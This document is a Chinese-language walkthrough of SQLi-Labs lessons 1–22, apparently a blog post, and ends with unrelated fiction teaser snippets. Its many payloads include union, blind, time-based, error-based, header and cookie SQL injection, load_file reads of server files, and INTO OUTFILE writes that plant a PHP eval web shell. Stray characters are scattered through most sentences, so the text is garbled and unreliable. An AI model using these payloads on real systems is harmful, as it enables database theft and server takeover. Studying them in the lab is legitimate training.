SQLiLab學(xué)習(xí)筆記less1-22 by L0st

less-1&2

一打開就來了一句"Please input the ID as parameter with numeric value"誤導(dǎo)了我。钦铁。
真的以為是數(shù)字型注入软舌,用id=1 union select..試了半天。后來才發(fā)現(xiàn)是字符型注入牛曹。
然后用 id=0' union select 1-99#和-- 各種嘗試均失敗佛点,看writeup發(fā)現(xiàn)末尾應(yīng)該使用 --+ 來注釋。

知道了是字符型躏仇,那么先看看該sql請求查詢了幾個字段:
1' order by 1~4 --+
不斷嘗試直到by 4時頁面報錯恋脚,即查詢了三個字段,現(xiàn)在可以開始查詢了

union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

故MySql常用注釋方法:
/ #(即%23) -- /.../ --+

常用函數(shù)

  1. version()——MySQL版本
  2. user()——數(shù)據(jù)庫用戶名
  3. database()——數(shù)據(jù)庫名
  4. @@datadir——數(shù)據(jù)庫路徑
  5. @@version_compile_os——操作系統(tǒng)版本

字符串連接函數(shù):
concat(str1,str2,...)——沒有分隔符地連接字符串
concat_ws(separator,str1,str2,...)——含有分隔符地連接字符串
group_concat(str1,str2,...)——連接一個組的所有字符串焰手,并以逗號分隔每一條數(shù)據(jù)

sql中運算優(yōu)先級and高于or,所以username=’admin’ and password=’’or 1=1
( 假 ) 或 真 = 真
常用SQL查詢語句:

show databases查詢所有庫
use table_name進(jìn)入庫,如use information_schema使用系統(tǒng)數(shù)據(jù)庫
show tables查詢庫中表
desc table_name查詢表結(jié)構(gòu)

查庫select schema_name from information_schema.schemata
查此庫的表
select table_name from information_schema.tables where table_schema=’xxxxx’
查該表的所有列:
Select column_name from information_schema.columns where table_name=’xxxxx’
查該列數(shù)據(jù):
select * from table_name where id=1--+ limit 0,1

本題query
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1"

less-3

使用a'b'c'd'e測試是哪種閉合方式怀喉,發(fā)現(xiàn)返回 near 'b'c'd'e') LIMIT 0,1' at line 1
猜測SQL語句為select * from table where id=('$_GET')
故使用1')來閉合輸入
然后依舊需要用--+來注釋閉合

本題query
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

less-4:

輸入id=1'發(fā)現(xiàn)返回正常书妻,輸入id=1"返回報錯near '"1"") LIMIT 0,1'
故推測查庫語句應(yīng)該為select * where id=("...")

本題query
$id = '"' . $id . '"'; $sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";


盲注分為三種:
布爾型,時間性躬拢,報錯型

常用截取字符串函數(shù):
mid(column_name,start,length)
column_name:要提取的字段名
start:規(guī)定開始位置(起始值為1)
length:要返回的字符數(shù)躲履,可以留空,則返回剩余文本

substr()
substring()
用法均同mid()

left(string,n) string--要截取的字符串 n--長度
left()得到字符串左邊指定個數(shù)的字符,即截取前n個字符
例如:left(database(),1)>’a’,查看數(shù)據(jù)庫名第一位

ord()
此函數(shù)為返回第一個字符的ASCII碼
例如ORD(MID(DATABASE(),1,1))>114
意為檢測database()的第一位ASCII碼是否大于114聊闯,也即是‘r’

ascii()用法如ord(需與subsrt截取函數(shù)組合使用)

用例:
substr((SELECT table_name FROM INFORMATION_SCHEMA.TABLES
WHERE table_schema=0xxxxxxx LIMIT 0,1),1,1)>’a’
若table_name首字符大于a工猜,則返回真,否則為假

常用的報錯注入函數(shù):
extractvalue(1,concat(0x7e,(select @@version),0x7e)) 查詢xml
updatexml(1,concat(0x7e,(select @@version),0x7e),1) 修改xml


less-5

使用id=1'后報錯菱蔬,故判斷為字符型篷帅。但正常頁面并不返回數(shù)據(jù),故判斷為布爾型盲注拴泌。
猜測數(shù)據(jù)庫版本號:
id=1' and left(version(),1)=5--+
猜測數(shù)據(jù)庫長度:
id=1' and length(database())>5--+
猜測數(shù)據(jù)庫名第一位:
id=1' and left(version(),1)>'a'--+
猜測數(shù)據(jù)庫第二位:
id=1' and left(version(),2)>'se'--+
猜測庫中的表名:
id=1' and ascii(substr((select table_name from information_schema.tables
where table_schema=database() limit 0,1),1,1))>101
猜測表中的第一列(使用regexp列(使用regexp,測試users表中的列名是否含有us的列):
id=1' and 1=(select 1 from information_schema.columns
where table_name='users' and column_name regexp '^us[a-z]' limit 0,1) --+
猜測表中的第一列是否含有username:
id=1' and 1=(select 1 from information_schema.columns
where table_name='users' and column_name regexp '^username' limit 0,1) --+
猜測users表的內(nèi)容:(獲取username中的第一行的第一個字符的ascii魏身,與68進(jìn)行比較,
即為D蚪腐。而我們從表中得知第一行的數(shù)據(jù)為Dumb)
id=1' and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)
FROM security.users ORDER BY id LIMIT 0,1),1,1))=68--+

less-6

使用id=1'無報錯箭昵,id=0'無報錯,猜測不是'閉合回季,測試id=0 or 1=1--+無果家制,
id=0' or 1=1--+無果,id=0" or 1=1--+返回正常泡一,推測使用"..."閉合
使用id=1" and 1=2--+返回錯誤颤殴,驗證推測。

此類題也可用時間注入:

IF(expression1,expression2,expression3) 如果ex1成立瘾杭,則執(zhí)行ex2诅病,否則ex3)
?id=1" and IF(length(database())>8,1,sleep(5)) --+
該語句的作用是如果數(shù)據(jù)庫長度大于8,則立刻返回正常頁面,否則延時5秒后返回
BENCHMARK(arg1,arg2) 該函數(shù)在MYSQL中用來測試一些函數(shù)的執(zhí)行速度贤笆。arg1是執(zhí)行的次數(shù)蝇棉,arg2是要執(zhí)行的函數(shù)或是表達(dá)式。
?id=1" and if(length(database())>7,BENCHMARK(1000000,md5('a')),1) --+
if條件如果為真芥永,則對字符a進(jìn)行md5編碼1000000次篡殷,否則立刻返回結(jié)果

less-7


Load_file(file_name)函數(shù)讀取文件并返回該文件的內(nèi)容作為一個字符串
使用條件:

  1. 必須要權(quán)限讀取且文件必須完全可讀
    and (select count(*) from mysql.user)>0
    如果返回正常,說明有讀寫權(quán)限埋涧。
  2. 欲讀取文件必須位于服務(wù)器上
  3. 必須指定文件完整路徑 //可以想辦法提交錯誤的Query讓程序報錯獲得路徑
  4. 欲讀取文件必須小于 max_allowed_packet

用法:

  1. union select 1,1,1,load_file(char(99,58,47,98,111,111,116,46,105,110,105))
    “char(99,58,47,98,111,111,116,46,105,110,105)”就是“c:/boot.ini”的ASCII代碼
  2. union select 1,1,1,load_file(0x633a2f626f6f742e696e69)
    “c:/boot.ini”的16進(jìn)制是“0x633a2f626f6f742e696e69”
  3. union select 1,1,1,load_file(c:\\boot.ini)
    注意:路徑里的/用 \\代替

導(dǎo)入到文件
SELECT.....INTO OUTFILE 'file_name'
可以把被選擇的行寫入一個文件中板辽。該文件被創(chuàng)建到服務(wù)器主機上,因此您必須擁有FILE權(quán)限棘催,才能使用此語法劲弦。file_name不能是一個已經(jīng)存在的文件。

有兩種利用方式:

  1. Select '<?php @eval($_post[“mima”])?>' into outfile “c:\\phpnow\\htdocs\\test.php” //即直接將select內(nèi)容導(dǎo)入文件中,但這里需要注意特殊符號被轉(zhuǎn)義
  2. Select version() Into outfile “c:\\phpnow\\htdocs\\test.php” LINES TERMINATED BY 0x16進(jìn)制文件 //本意是行結(jié)尾時要使用Lines terminated by 后面的內(nèi)容醇坝,通常為'/r/n',我們在BY后面添加自己的16進(jìn)制文件
    可以是一句話或其他任何代碼邑跪。
Tips
  1. 文件路徑注意轉(zhuǎn)義
  2. 如果當(dāng)前頁面無法導(dǎo)出文件,可寫入到新文件中讀群糁怼:
    select load_file(‘c:\\wamp\\bin\\mysql\\mysql5.6.17\\my.ini’)into outfile ‘c:\\wamp\\www\\test.php’
    即將my.ini導(dǎo)出到test.php画畅,我們訪問test.php可看到文件內(nèi)容

從源代碼中可以看到Query為
$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
此處依舊可以使用報錯注入,但這里我們練習(xí)文件導(dǎo)入注入

?id=1')) union select 1,group_concat(username),group_concat(password) from users into outfile 'c:\\xampp\\htdocs\\2.php' --+
導(dǎo)出用戶名及密碼宋距,需知道當(dāng)前查詢表名
有幾個需要注意的點轴踱,這里聯(lián)合查詢的條件是前面的語句為真,即id=1返回正常谚赎,還有就是windows中的'/'換成'\'

?id=1')) union select 1,'<?php @eval($_POST["syc"])?>',3 into outfile 'c:\\xampp\\htdocs\\new.php' --+

?id=1')) union select 1,version(),3 into outfile 'c:\\xampp\\htdocs\\new.php' LINES TERMINATED BY 0x3c3f70687020406576616c28245f504f53545b22737963225d293f3e --+
兩種語句均是同樣的效果淫僻,寫入一句話成功后直接用菜刀連接即可

less-8

同less-5,使用布爾或延時注入方法

less-9

通過簡單測試可以發(fā)現(xiàn)沸版,無論輸入查詢的數(shù)據(jù)正確與否嘁傀,頁面內(nèi)容不會隨之改變,故考慮使用延時注入
?id=1' and if(substr(user(),1,1)>'a',sleep(5),1) --+
延時注入完整流程
猜測數(shù)據(jù)庫:

?id=1%27and%20If(ascii(substr(database(),1,1))=115,1,sleep(5))--+,1,1))=116,1,sleep(5))--+)

說明第一位是s (ascii碼是115)

?id=1%27and%20If(ascii(substr(database(),2,1))=101,1,sleep(5))--+

說明第一位是e (ascii碼是101)

....

以此類推视粮,我們知道了數(shù)據(jù)庫名字是security

猜測security的數(shù)據(jù)表:

?id=1'and If(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101,1,sleep(5))--+

猜測第一個數(shù)據(jù)表的第一位是e,...依次類推细办,得到emails

?id=1'and If(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1))=114,1,sleep(5))--+

猜測第二個數(shù)據(jù)表的第一位是r,...依次類推,得到referers

...

再以此類推蕾殴,我們可以得到所有的數(shù)據(jù)表emails,referers,uagents,users

猜測users表的列:

?id=1'and If(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=105,1,sleep(5))--+

猜測users表的第一個列的第一個字符是i笑撞,

以此類推,我們得到列名是id钓觉,username茴肥,password

猜測username的值:

?id=1'and If(ascii(substr((select username from users limit 0,1),1,1))=68,1,sleep(5))--+

猜測username的第一行的第一位

以此類推,我們得到數(shù)據(jù)庫username荡灾,password的所有內(nèi)容

less-10

?id=1" and if(left(user(),1)='r',sleep(5),1) --+
除使用雙引號閉合id外瓤狐,與less-9無異

less-11

該題使用POST方法提交參數(shù)瞬铸,看下Query語句
$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";

先來試試萬能密碼:

username:'or 1=1 limit 1,1 #
password: whatever....
改變limit后面的數(shù)字為 2,1 3,1 4,1既可查詢不同用戶的密碼

聯(lián)合查詢

username=admin' order by 1 # 替換 1 為2,3,4...直到報錯為止,既可知道查詢的字段數(shù)

username=0' union select 1,2 # 顯示字段顯示的位置

username=0' union select user(),version() # 剩下的步驟與GET型無異

less-12

先測試一下Query語句中如何閉合一個參數(shù)的輸入
username=a'a"a')aa
報錯:
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'a')aa") and password=("da") LIMIT 0,1' at line 1
可以看出應(yīng)使用 ") 來閉合
剩下與less-11無異

less-13

源碼中的Query請求:
$sql="SELECT username, password FROM users WHERE username=('$uname') and password=('$passwd') LIMIT 0,1";
同樣構(gòu)造:
username=admin') #
password=隨便輸
顯示登陸正常础锐,但不會返回任何數(shù)據(jù)嗓节,這里要結(jié)合盲注技術(shù):
admin') union select 1,'<?php @eval($_POST["syc"])?>' into outfile 'c:\\xampp\\htdocs\\1.php' #
直接上菜刀就行

less-14

閉合參數(shù)的方法為 "$id" ,其余同less-13

less-15

先測試一下參數(shù)是如何閉合的皆警,多試幾次就發(fā)現(xiàn)uname=1' or 1=1 # 可以成功登陸拦宣,
說明參數(shù)以 '$id' 方式閉合,然后開始造輪子:
1' or 1=1 and length(user())>10 #
或者延時注入:
1' or 1=1 and if(length(user())>5,benchmark(1000000,md5('a')),1) #
接下來就是盲注的過程信姓,參考前文.

less-16

除閉合方式變?yōu)?("$id") 外鸵隧,與less-15無異

less-17


SQL中對于數(shù)據(jù)的查詢,增減與修改:

查詢

select * from users where id=1;

增加

insert into users values('16','cat','cat'); 直接增加一行數(shù)據(jù)至users表

刪除
  1. 刪除數(shù)據(jù)
    delete from table_name;
    delete from table_name where id=1; 刪除指定條件的數(shù)據(jù)
  2. 刪除結(jié)構(gòu)
    drop database database_name; 刪庫
    drop table table_name; 刪表
    alter table table_name drop column column_name; 刪除表中的列
  3. 修改
    update table_name set column_name='new_value'; 修改所有列的數(shù)據(jù)
    update table_name set column_name='new_value' where id=1; 指定條件修改

先來看下源碼中程序是如何修改用戶密碼的:

$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";
$row=mysql_query($sql);
$row1=$row['username'];
$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";

因為程序?qū)sername做了嚴(yán)格過濾意推,故只有password處存在注入:
構(gòu)造payload:
New Password=
123' and if(length(user())>10,1,benchmark(1111111,md5('a'))) #
剩下就是延時注入的套路了豆瘫。

less-18

先看源碼:

$uagent = $_SERVER['HTTP_USER_AGENT'];
$IP = $_SERVER['REMOTE_ADDR'];

$sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";`

$insert="INSERT INTO security.uagents (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";`

這里我們在HTTP請求中User_Agent處利用報錯注入:
'and updatexml(1,(select @@version),1) and '1'='1 查詢mysql版本

'and extractvalue(1,concat(0x7e,(select @@version),0x7e,(select user()),0x7e)) and '1'='1
'and extractvalue(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1))) and '1'='1 查詢庫名

less-19

與less-18無異,只是將注入點換成了HTTP請求頭的Referer

less-20

先看一個函數(shù)setcookie():
setcookie(name,value,expire,path,domain,secure)
然后看關(guān)鍵的幾處源碼:

生成cookie:
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);

$sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$result1 = mysql_query($sql);
$row1 = mysql_fetch_array($result1);
$cookee = $row1['username'];

setcookie('uname', $cookee, time()+3600);

設(shè)置cookie后:
$cookee = $_COOKIE['uname'];
echo "YOUR COOKIE : uname = $cookee and expires: " . date($format, $timestamp);
$sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";
$result=mysql_query($sql);
if (!$result)
    {
        die('Issue with your mysql: ' . mysql_error());
    }

可以看到左痢,在成功登陸后服務(wù)端會生成一段cookie靡羡,然后客戶端請求頁面(刷新)時會帶上設(shè)置的cookie,程序會讀取cookie中的uname數(shù)據(jù)俊性,并且將其帶入數(shù)據(jù)庫查詢,故我們需在uname處構(gòu)造payload:
uname=admin' and updatexml(1,(select user()),1) #

less-21

查看源碼發(fā)現(xiàn)大部分與less-20相同描扯,只是多了:

$cookee = $_COOKIE['uname'];
$cookee = base64_decode($cookee);     //對$cookee進(jìn)行了一次BASE64解碼
$sql="SELECT * FROM users WHERE username=('$cookee') LIMIT 0,1";
//注意定页,此處閉合參數(shù)需要用')

那么我們將payload進(jìn)行一次BASE64編碼:

編碼前:da') and updatexml(1,(select @@version),1) #
編碼后:ZGEnKSBhbmQgdXBkYXRleG1sKDEsKHNlbGVjdCBAQHZlcnNpb24pLDEpICM=

然后在cookie中發(fā)送:
uname=ZGEnKSBhbmQgdXBkYXRleG1sKDEsKHNlbGVjdCBAQHZlcnNpb24pLDEpICM=
即可返回數(shù)據(jù)庫版本

less-22

與less-21差不多,也只是多了:
$cookee1 = '"'. $cookee. '"';
造輪子時需要用雙引號閉合绽诚。

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末典徊,一起剝皮案震驚了整個濱河市,隨后出現(xiàn)的幾起案子恩够,更是在濱河造成了極大的恐慌卒落,老刑警劉巖,帶你破解...
    沈念sama閱讀 217,734評論 6 505
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件蜂桶,死亡現(xiàn)場離奇詭異儡毕,居然都是意外死亡,警方通過查閱死者的電腦和手機扑媚,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 92,931評論 3 394
  • 文/潘曉璐 我一進(jìn)店門腰湾,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人疆股,你說我怎么就攤上這事费坊。” “怎么了旬痹?”我有些...
    開封第一講書人閱讀 164,133評論 0 354
  • 文/不壞的土叔 我叫張陵附井,是天一觀的道長讨越。 經(jīng)常有香客問我,道長永毅,這世上最難降的妖魔是什么把跨? 我笑而不...
    開封第一講書人閱讀 58,532評論 1 293
  • 正文 為了忘掉前任,我火速辦了婚禮卷雕,結(jié)果婚禮上节猿,老公的妹妹穿的比我還像新娘。我一直安慰自己漫雕,他們只是感情好滨嘱,可當(dāng)我...
    茶點故事閱讀 67,585評論 6 392
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著浸间,像睡著了一般太雨。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上魁蒜,一...
    開封第一講書人閱讀 51,462評論 1 302
  • 那天囊扳,我揣著相機與錄音,去河邊找鬼兜看。 笑死锥咸,一個胖子當(dāng)著我的面吹牛,可吹牛的內(nèi)容都是我干的细移。 我是一名探鬼主播搏予,決...
    沈念sama閱讀 40,262評論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼,長吁一口氣:“原來是場噩夢啊……” “哼弧轧!你這毒婦竟也來了雪侥?” 一聲冷哼從身側(cè)響起,我...
    開封第一講書人閱讀 39,153評論 0 276
  • 序言:老撾萬榮一對情侶失蹤精绎,失蹤者是張志新(化名)和其女友劉穎速缨,沒想到半個月后,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體代乃,經(jīng)...
    沈念sama閱讀 45,587評論 1 314
  • 正文 獨居荒郊野嶺守林人離奇死亡旬牲,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 37,792評論 3 336
  • 正文 我和宋清朗相戀三年,在試婚紗的時候發(fā)現(xiàn)自己被綠了襟己。 大學(xué)時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片引谜。...
    茶點故事閱讀 39,919評論 1 348
  • 序言:一個原本活蹦亂跳的男人離奇死亡,死狀恐怖擎浴,靈堂內(nèi)的尸體忽然破棺而出员咽,到底是詐尸還是另有隱情,我是刑警寧澤贮预,帶...
    沈念sama閱讀 35,635評論 5 345
  • 正文 年R本政府宣布贝室,位于F島的核電站契讲,受9級特大地震影響,放射性物質(zhì)發(fā)生泄漏滑频。R本人自食惡果不足惜捡偏,卻給世界環(huán)境...
    茶點故事閱讀 41,237評論 3 329
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望峡迷。 院中可真熱鬧银伟,春花似錦、人聲如沸绘搞。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,855評論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽夯辖。三九已至琉预,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間蒿褂,已是汗流浹背圆米。 一陣腳步聲響...
    開封第一講書人閱讀 32,983評論 1 269
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留啄栓,地道東北人娄帖。 一個月前我還...
    沈念sama閱讀 48,048評論 3 370
  • 正文 我出身青樓,卻偏偏與公主長得像昙楚,于是被迫代替她去往敵國和親块茁。 傳聞我的和親對象是個殘疾皇子,可洞房花燭夜當(dāng)晚...
    茶點故事閱讀 44,864評論 2 354